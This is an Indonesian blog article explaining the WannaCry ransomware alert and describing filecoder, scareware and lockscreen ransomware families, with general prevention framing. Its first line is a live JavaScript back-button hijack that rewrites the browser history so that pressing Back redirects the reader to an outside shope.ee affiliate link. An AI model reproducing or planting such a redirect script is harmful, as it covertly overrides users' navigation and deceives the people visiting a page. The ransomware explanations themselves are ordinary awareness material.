(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Pengertian Ransomware WannaCry, Malware Yang bikin Heboh Dunia Cyber – Baru-baru ini Kementerian Komunikasi dan Informatika (Kominfo) mengeluarkan siaran pers mengenai antisipasi kepada masyarakat agar segera berbuat langkah pencegahan kepada bahaya malware jenis ransomware tipe WannaCRY.
Sekali malware ini berada di lingkup jaringan sehingga akan sulit dihentikan. Serbuan malware untuk kali ini sudah banyak memakan korban di berbagai negara dan bisa disebut sebagai serangan terbesar. Sebuah komputer tidak berdaya jika terinfeksi malware WannaCry ini.
Ransomware adalah nama atau istilah umum untuk semua malware yang – sesuai dengan namanya – meminta uang tebusan kepada user yang komputernya terinfeksi Ransomware.
Secara garis besar ada dua tipe ransomware yaitu sebagai berikut:
Karena ransomware telah menyusup dan melakukan aksi yang sangat mengganggu di komputer, dan mengancam keamanan data di komputer Anda.
Misalnya, mengenkripsi file-file dokumen dan meminta Anda membayar uang tebusan untuk membuka – dekripsi kembali akses ke user. Jenis ransomware tersebut dikenal sebagai filecoder.a.
Sementara itu Ransomware yang paling terkenal adalah Filecoder Cryptolocker. (Produk Antivirus ESET berhasil mendeteksi ada banyak versi Filecoder dan mengidentifikasinya sebagai Win32/Filecoder).
Ransomware menyebar dengan metode pancingan melalui email yang membawa weblink pada attachment, isi email dibuat seakan-akan dikirim dari sebuah bank dimana user memiliki rekening atau perusahaan jasa pengiriman.
Ada juga versi Cryptolocker yang didistribusikan melalui jaringan peer-to-peer file-sharing, menyamar sebagai activation keys untuk perangkat lunak populer seperti Adobe Photoshop dan Microsoft Office.
Ketika komputer Anda positif terinfeksi, Cryptolocker selanjutnya akan mencari berbagai jenis file di komputer untuk dienkripsi – setelah enkripsi selesai, Cryptolocker akan menampilkan pesan yang isinya meminta Anda mentransfer sejumlah uang elektronik jika Anda ingin mendapatkan key untuk mendekripsi semua file tadi.
Dalam beberapa kasus, juga terjadi lockscreen bahkan menampilkan live feed dari webcam komputer Anda saat itu.
Tentu saja ini sangat merugikan ketika tiba-tiba Anda melihat diri Anda di layar monitor duduk terpaku di depan komputer, dan bisa dimanfaatkan untuk mengelabui user yang pemahaman teknisnya kurang sehingga user percaya bahwa mereka benar-benar sedang diamati oleh pihak berwajib.
Scareware adalah software yang beraksi untuk menakut-nakuti Anda dalam mengambil tindakan tertentu. Biasanya Scareware muncul dengan berpura-pura menjadi produk anti-virus yang menampilkan peringatan adanya masalah keamanan pada komputer atau smartphone Itu dilakukan untuk menipu Anda agar bersedia membayar sejumlah uang kepada para scammers atau men-download software keamanan yang justeru sebenarnya adalah kode berbahaya.
Dalam beberapa kasus anti-virus palsu, juga bisa terjadi sebaliknya, yaitu muncul dengan menggunakan nama perusahaan keamanan asli, juga dalam upaya menipu pengguna untuk membelokkan keputusan atau tindakan dari user.
Seperti Ransomware, Scareware juga dikembangkan dan dirancang untuk semua sistem operasi. Pada beberapa kasus, Scareware anti-virus palsu memiliki laman user interface tiruan yang sangat mirip, bahkan lebih meyakinkan daripada produk keamanan yang aslinya! inilah yang membuat user seringkali tertipu
Beberapa Scareware – jika sudah gagal menakuti Anda untuk membeli atau mensubscribe “produknya” – akan mengganti strategi dengan taktik Ransomware targetnya sama, yaitu menuntut sejumlah uang dengan ancaman keras.
Tidak, masih ada lagi yang namanya Lockscreen Ransomware. Yaitu jenis Ransomware yang mengunci komputer Anda, mencegah Anda melakukan apapun di komputer sampai uang tebusan dibayar.
Malware lockscreen kemungkinan juga akan mempermainkan sisi psikologis user agar Anda segera membayar tebusan. Misalnya, bisa terjadi sebuah notifikasi Lockscreen muncul seakan dikirim dari kepolisian negara Anda, dan menyatakan bahwa pihak berwenang menuntut Anda membayar denda karena menyimpan gambar terlarang atau pornografi, zoophilia, data historis kunjungan ke website ilegal atau ditemukan ada perangkat lunak bajakan di komputer Anda.
Salah satu keluarga Ransomware yang mengunci komputer pengguna saat berpose di webcam dan paling sering ditemui adalah Reveton.
Secara teori, tidak ada yang bisa menghentikan pengembangan Ransomware yang dilakukan oleh pelaku kejahatan online – tetapi sebagian besar serangan itu mengarah ke sistem operasi Windows. Contohnya pada Cryptolocker, hanya ditemukan di sistem operasi Windows.
Namun, peneliti malware di ESET baru-baru ini juga mendeteksi Android/Simplocker, yaitu Trojan pertama yang beraksi meng-enkripsi file dan meminta tebusan dari pengguna Android via pusat kontrol tersembunyi di Jaringan Tor anonim. Jadi jelas ada hal-hal yang berkembang semakin canggih dalam dunia Ransomware, bahkan di smartphone.
Yak, benar sekali. Dan tentu saja, ancaman malware tersebut masih jauh lebih kecil di perangkat iOS bahkan daripada di Android. Jadi jika kita bertolak dari kejadian yang mucul, resiko yang berkembang, maka Tindakan pencegahan tetaplah langkah yang terbaik.
Untuk terhindar dari serangan ransomware wannaCry dan segala tipu daya yang digunakan oleh pengembang malware untuk menginfiltrasi sistem perangkat yang kita miliki ada beberapa langkah yang bisa dilakukan, Baca: Tips Cara Mencegah dan Mengatasi Malware Ransomware WannaCry.